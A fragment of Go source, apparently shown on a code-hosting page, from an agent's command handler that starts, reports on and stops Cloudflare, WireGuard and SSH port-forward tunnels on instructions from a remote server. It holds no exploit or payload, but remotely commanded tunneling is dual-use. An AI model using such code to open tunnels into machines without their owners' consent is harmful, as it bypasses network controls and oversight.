msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "tunnel_wireguard":
|
||||
var payload WGConfigPayload
|
||||
raw := strings.TrimSpace(data)
|
||||
if raw == "" {
|
||||
raw = strings.TrimSpace(command)
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
if err := WGConfigure(payload); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "tunnel_ssh_forward":
|
||||
var meta deploy.SSHForwardMeta
|
||||
raw := strings.TrimSpace(data)
|
||||
if raw == "" {
|
||||
raw = strings.TrimSpace(command)
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
|
||||
meta.LocalPort = parsePortArg(command, 0)
|
||||
hostPort := strings.TrimSpace(path)
|
||||
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
|
||||
meta.RemoteHost = hostPort[:idx]
|
||||
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
|
||||
}
|
||||
meta.SSHUser = strings.TrimSpace(data)
|
||||
}
|
||||
msg, err := deploy.StartSSHForward(meta)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "tunnel_status":
|
||||
raw := deploy.TunnelStatus()
|
||||
var st deploy.TunnelStatusJSON
|
||||
_ = json.Unmarshal([]byte(raw), &st)
|
||||
st.WireGuardActive = WGIsActive()
|
||||
if st.WireGuardActive {
|
||||
st.WireGuardDetail = WGStatus()
|
||||
}
|
||||
out, _ := json.Marshal(st)
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
return true
|
||||
|
||||
case "tunnel_stop":
|
||||
kind := strings.TrimSpace(strings.ToLower(command))
|
||||
var stopped int
|
||||
var msgs []string
|
||||
switch kind {
|
||||
case "", "all":
|
||||
stopped, msgs = deploy.StopTunnels()
|
||||
if WGIsActive() {
|
||||
WGTeardown()
|
||||
msgs = append(msgs, "WireGuard tunnel removed")
|
||||
stopped++
|
||||
}
|
||||
case "cloudflared", "cf":
|
||||
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
|
||||
case "ssh", "ssh_forward":
|
||||
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
|
||||
case "wireguard", "wg":
|
||||
if WGIsActive() {
|
||||
WGTeardown()
|
||||
msgs = append(msgs, "WireGuard tunnel removed")
|
||||
stopped = 1
|
||||
} else {
|
||||
msgs = append(msgs, "no active WireGuard tunnel")
|
||||
}
|
||||
default:
|
||||
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
Reference in New Issue
Block a user